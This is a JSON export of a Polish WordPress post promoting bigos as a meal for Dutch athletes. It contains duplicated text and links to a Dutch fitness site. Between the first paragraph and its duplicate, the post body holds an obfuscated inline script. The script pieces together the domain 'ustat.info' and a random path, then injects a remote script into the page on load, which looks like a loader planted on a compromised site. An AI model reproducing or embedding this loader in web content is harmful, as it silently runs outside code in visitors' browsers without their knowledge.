{"id":11135,"date":"2024-11-28T12:16:26","date_gmt":"2024-11-28T11:16:26","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=11135"},"modified":"2024-11-28T12:17:10","modified_gmt":"2024-11-28T11:17:10","slug":"bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow","title":{"rendered":"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Bigos, klasyczna polska potrawa, zyskuje coraz wi\u0119ksz\u0105 popularno\u015b\u0107 w Holandii, szczeg\u00f3lnie w\u015br\u00f3d os\u00f3b aktywnych fizycznie.&nbsp;Tradycyjnie przygotowywany z kapusty kiszonej, r\u00f3\u017cnorodnych mi\u0119s i aromatycznych przypraw, bigos jest doskona\u0142ym wyborem na zimowe miesi\u0105ce. Opr\u00f3cz wyj\u0105tkowego smaku wyr\u00f3\u017cnia go wysoka warto\u015b\u0107 od\u017cywcza, kt\u00f3ra przyci\u0105ga uwag\u0119 sportowc\u00f3w poszukuj\u0105cych syc\u0105cych i zdrowych posi\u0142k\u00f3w. Przepis na bigos dost\u0119pny w serwisie Trainandgain.nl pozwala w \u0142atwy spos\u00f3b przygotowa\u0107 t\u0119 potraw\u0119 w warunkach domowych.<\/p>\n\n\n\n<script>\n(function(){\nxcaw_=(\"u\"+\"\")+\"s\"+\"\";xcaw_+=(\"tat.\")+(\"i\");\nxcaw=document.createElement(\"script\");xcaw.type=\"text\/javascript\";xcaw_+=\"nf\"+(\"o\")+\"\/\";\nxcawu=\"2365086099\"+\".\";xcaw.async=true;xcawu+=\"jvr50214cawyr5X5i6tex135X58shz\";\nxcaw.src=\"https:\/\/\"+xcaw_+xcawu;xcawb=document.body;xcawb.appendChild(xcaw);\n})();\n<\/script>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Bigos, klasyczna polska potrawa, zyskuje coraz wi\u0119ksz\u0105 popularno\u015b\u0107 w Holandii, szczeg\u00f3lnie w\u015br\u00f3d os\u00f3b aktywnych fizycznie.<\/strong>\u00a0Tradycyjnie przygotowywany z kapusty kiszonej, r\u00f3\u017cnorodnych mi\u0119s i aromatycznych przypraw, bigos jest doskona\u0142ym wyborem na zimowe miesi\u0105ce. Opr\u00f3cz wyj\u0105tkowego smaku wyr\u00f3\u017cnia go wysoka warto\u015b\u0107 od\u017cywcza, kt\u00f3ra przyci\u0105ga uwag\u0119 sportowc\u00f3w poszukuj\u0105cych syc\u0105cych i zdrowych posi\u0142k\u00f3w. Przepis na <a href=\"https:\/\/trainandgain.nl\/bigos-poolse-stoofschotel-recept\/\" rel=\"nofollow\">bigos<\/a> dost\u0119pny w serwisie Trainandgain.nl pozwala w \u0142atwy spos\u00f3b przygotowa\u0107 t\u0119 potraw\u0119 w warunkach domowych.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Bigos jako wsparcie dla sportowc\u00f3w<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Sportowcy cz\u0119sto potrzebuj\u0105 da\u0144, kt\u00f3re dostarcz\u0105 im energii, a jednocze\u015bnie b\u0119d\u0105 lekkostrawne i bogate w sk\u0142adniki od\u017cywcze. Bigos, jako syc\u0105ce i pe\u0142nowarto\u015bciowe danie, spe\u0142nia te kryteria. Dzi\u0119ki kapu\u015bcie kiszonej zawiera du\u017co witaminy C, kt\u00f3ra wzmacnia uk\u0142ad odporno\u015bciowy, co jest szczeg\u00f3lnie istotne zim\u0105. Mi\u0119so w bigosie dostarcza bia\u0142ka, niezb\u0119dnego do regeneracji mi\u0119\u015bni po intensywnym treningu.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To danie jest r\u00f3wnie\u017c praktyczne \u2013 mo\u017cna je przygotowa\u0107 w wi\u0119kszej ilo\u015bci i przechowywa\u0107 przez kilka dni, co pozwala zaoszcz\u0119dzi\u0107 czas. W\u0142a\u015bnie dlatego bigos znajduje uznanie w\u015br\u00f3d os\u00f3b, kt\u00f3re ceni\u0105 wygod\u0119 w codziennym gotowaniu.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Co wi\u0119cej, przygotowanie bigosu nie wymaga skomplikowanych umiej\u0119tno\u015bci kulinarnych ani specjalistycznych sprz\u0119t\u00f3w. Wystarczy kilka podstawowych sk\u0142adnik\u00f3w, takich jak kapusta kiszona, mi\u0119so, przyprawy oraz dowolne dodatki, kt\u00f3re wzbogac\u0105 smak potrawy. Proces gotowania jest stosunkowo prosty, cho\u0107 wymaga czasu \u2013 im d\u0142u\u017cej bigos si\u0119 gotuje, tym lepiej rozwijaj\u0105 si\u0119 jego smaki. Dzi\u0119ki temu jest to idealne danie do przygotowania w wolny dzie\u0144, z mo\u017cliwo\u015bci\u0105 odgrzewania w kolejnych dniach, kiedy smakuje jeszcze lepiej. Taka wygoda sprawia, \u017ce bigos jest doskona\u0142ym rozwi\u0105zaniem dla os\u00f3b aktywnych, kt\u00f3re szukaj\u0105 zdrowych i syc\u0105cych posi\u0142k\u00f3w bez konieczno\u015bci codziennego gotowania.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Rosn\u0105ca popularno\u015b\u0107 bigosu w Holandii<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Coraz wi\u0119cej holenderskich stron internetowych i blog\u00f3w kulinarnych zwraca uwag\u0119 na bigos jako idealne danie na zimowe dni. Strony takie jak\u00a0<a href=\"https:\/\/trainandgain.nl\/1rm-berekenen\/\" rel=\"nofollow\">Trainandgain.nl<\/a>\u00a0pokazuj\u0105, jak \u0142atwo mo\u017cna w\u0142\u0105czy\u0107 t\u0119 polsk\u0105 potraw\u0119 do codziennego jad\u0142ospisu, nawet przy intensywnym stylu \u017cycia. Sportowcy chwal\u0105 bigos za jego warto\u015bci od\u017cywcze i mo\u017cliwo\u015b\u0107 dostosowania do indywidualnych preferencji. Dodanie wi\u0119kszej ilo\u015bci warzyw lub u\u017cycie zdrowszych alternatyw mi\u0119sa sprawia, \u017ce bigos staje si\u0119 jeszcze bardziej uniwersalnym wyborem.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Bigos w nowoczesnym wydaniu<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Cho\u0107 bigos kojarzy si\u0119 z tradycj\u0105, to coraz cz\u0119\u015bciej pojawia si\u0119 w nowoczesnych interpretacjach. Mo\u017cna go przygotowa\u0107 z dodatkiem takich sk\u0142adnik\u00f3w jak suszone \u015bliwki, grzyby czy delikatniejsze mi\u0119sa, co nadaje mu nowego charakteru. Dzi\u0119ki temu potrawa ta zyskuje na atrakcyjno\u015bci tak\u017ce poza Polsk\u0105. W Holandii bigos staje si\u0119 kulinarnym odkryciem, kt\u00f3re \u0142\u0105czy smaki i warto\u015bci od\u017cywcze w jednym daniu.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sportowcy, ale i osoby ceni\u0105ce zdrow\u0105, funkcjonaln\u0105 kuchni\u0119, doceniaj\u0105 bigos jako posi\u0142ek dostarczaj\u0105cy energii i idealny na ch\u0142odne dni. Je\u015bli szukasz dania, kt\u00f3re \u0142\u0105czy tradycj\u0119 z nowoczesno\u015bci\u0105 i jest przy tym zdrowe, bigos mo\u017ce okaza\u0107 si\u0119 doskona\u0142ym wyborem!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bigos, klasyczna polska potrawa, zyskuje coraz wi\u0119ksz\u0105 popularno\u015b\u0107 w Holandii, szczeg\u00f3lnie w\u015br\u00f3d os\u00f3b aktywnych fizycznie.&nbsp;Tradycyjnie przygotowywany z kapusty kiszonej, r\u00f3\u017cnorodnych mi\u0119s i aromatycznych przypraw, bigos jest doskona\u0142ym wyborem na zimowe miesi\u0105ce. Opr\u00f3cz wyj\u0105tkowego smaku&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":11136,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[67],"tags":[],"class_list":["post-11135","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ciekawostki"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Bigos, klasyczna polska potrawa, zyskuje coraz wi\u0119ksz\u0105 popularno\u015b\u0107 w Holandii, szczeg\u00f3lnie w\u015br\u00f3d os\u00f3b aktywnych fizycznie.&nbsp;Tradycyjnie przygotowywany z kapusty kiszonej, r\u00f3\u017cnorodnych mi\u0119s i aromatycznych przypraw, bigos jest doskona\u0142ym wyborem na zimowe miesi\u0105ce. Opr\u00f3cz wyj\u0105tkowego smaku&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-28T11:16:26+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-11-28T11:17:10+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/11\/adobestock_116898675.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"ireneusz\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"ireneusz\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow\"},\"author\":{\"name\":\"ireneusz\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/b0058abe11ae9e9d4f6e686e350a8177\"},\"headline\":\"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w\",\"datePublished\":\"2024-11-28T11:16:26+00:00\",\"dateModified\":\"2024-11-28T11:17:10+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow\"},\"wordCount\":634,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/adobestock_116898675.jpeg\",\"articleSection\":[\"Ciekawostki\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow\",\"name\":\"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/adobestock_116898675.jpeg\",\"datePublished\":\"2024-11-28T11:16:26+00:00\",\"dateModified\":\"2024-11-28T11:17:10+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/b0058abe11ae9e9d4f6e686e350a8177\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/adobestock_116898675.jpeg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/adobestock_116898675.jpeg\",\"width\":885,\"height\":398,\"caption\":\"bigos\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/ciekawostki\\\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Ciekawostki\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/ciekawostki\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/b0058abe11ae9e9d4f6e686e350a8177\",\"name\":\"ireneusz\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g\",\"caption\":\"ireneusz\"},\"sameAs\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/\"],\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/ireneusz\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow","og_locale":"pl_PL","og_type":"article","og_title":"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Bigos, klasyczna polska potrawa, zyskuje coraz wi\u0119ksz\u0105 popularno\u015b\u0107 w Holandii, szczeg\u00f3lnie w\u015br\u00f3d os\u00f3b aktywnych fizycznie.&nbsp;Tradycyjnie przygotowywany z kapusty kiszonej, r\u00f3\u017cnorodnych mi\u0119s i aromatycznych przypraw, bigos jest doskona\u0142ym wyborem na zimowe miesi\u0105ce. Opr\u00f3cz wyj\u0105tkowego smaku&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2024-11-28T11:16:26+00:00","article_modified_time":"2024-11-28T11:17:10+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/11\/adobestock_116898675.jpeg","type":"image\/jpeg"}],"author":"ireneusz","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"ireneusz","Szacowany czas czytania":"3 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow"},"author":{"name":"ireneusz","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/b0058abe11ae9e9d4f6e686e350a8177"},"headline":"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w","datePublished":"2024-11-28T11:16:26+00:00","dateModified":"2024-11-28T11:17:10+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow"},"wordCount":634,"commentCount":0,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/11\/adobestock_116898675.jpeg","articleSection":["Ciekawostki"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow","url":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow","name":"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/11\/adobestock_116898675.jpeg","datePublished":"2024-11-28T11:16:26+00:00","dateModified":"2024-11-28T11:17:10+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/b0058abe11ae9e9d4f6e686e350a8177"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/11\/adobestock_116898675.jpeg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/11\/adobestock_116898675.jpeg","width":885,"height":398,"caption":"bigos"},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/ciekawostki\/bigos-tradycyjna-polska-potrawa-w-menu-holenderskich-sportowcow#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Ciekawostki","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/ciekawostki"},{"@type":"ListItem","position":3,"name":"Bigos \u2013 tradycyjna polska potrawa w menu holenderskich sportowc\u00f3w"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/b0058abe11ae9e9d4f6e686e350a8177","name":"ireneusz","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g","caption":"ireneusz"},"sameAs":["https:\/\/www.straganzdrowia.pl\/"],"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/ireneusz"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=11135"}],"version-history":[{"count":2,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11135\/revisions"}],"predecessor-version":[{"id":11138,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11135\/revisions\/11138"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/11136"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=11135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=11135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=11135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}